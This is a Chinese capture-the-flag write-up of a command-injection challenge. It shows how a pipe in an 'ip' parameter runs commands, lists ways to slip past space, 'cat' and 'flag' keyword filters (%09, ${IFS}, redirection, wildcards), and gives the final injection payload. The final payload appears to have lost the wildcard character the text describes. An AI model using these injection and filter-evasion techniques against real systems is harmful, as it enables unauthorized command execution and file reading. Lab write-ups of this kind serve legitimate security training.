题目链接:青少年CTF训练平台
在这里插入图片描述
提示传入参数ip
在这里插入图片描述
在这里插入图片描述
加入管道符可以正常执行命令
在这里插入图片描述
过滤了空格
在这里插入图片描述
可以使用一下几种符号绕过

1
2
3
4
5
<  --  重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

在这里插入图片描述
cat被过滤 可以使用tac more head tail等命令绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
查看文本内容
查看全部文本内容:
1、cat命令
cat file_name
#输出所有文本内容
3、cat -n file_name
#文本内容所有行加上行编号输出
3、cat -b file_name
#文本内容非空行加上行编号输出

分页查看文本内容:
1、more命令(常用的分页工具)
more file_name
2、less命令(more升级版分页工具)
less file_name
#显示行加-N参数,less -N file_name
#更多命令及使用方法查看less --help或man less

查看部分文件内容
head 命令:显示文件开头一些行的内容,默认显示文件前10
1,查看显示文首内容 head -n [number] file_name ,显示文首多少行内容
head -n 100 file_name
#显示文首一百行内容
#或不加-n,head -100 file_name也是显示文尾100行内容
2、输出文首最后的多少个字节
head -c 10 file_name

tail 命令:显示文件最后一些行的内容,默认显示文件后10
1、查看显示文尾内容 tail -n [number] file_name ,显示文尾多少行内容
tail -n 100 file_name
#显示文尾一百行内容
#或不加-n,tail -100 file_name也是显示文尾100行内容
2、当文件增长时输出追加的数据,比如日志时时生成,(crtl+c终止显示)
tail -f log_file
3、加-f参数显示追加是数据时可以与-s参数配置,睡眠几秒在进行追加显示
tail -f -s 10 log_file
#查看日志内容,10秒刷新一次
4、输出文尾最后的多少个字节
tail -c 10 file_name

在这里插入图片描述
在这里插入图片描述
查看根目录下的flag,很明显过滤了flag关键字 可以使用f通配符绕过
在这里插入图片描述
构造payload:?ip=127.0.0.1|more%09/f
得到flag
在这里插入图片描述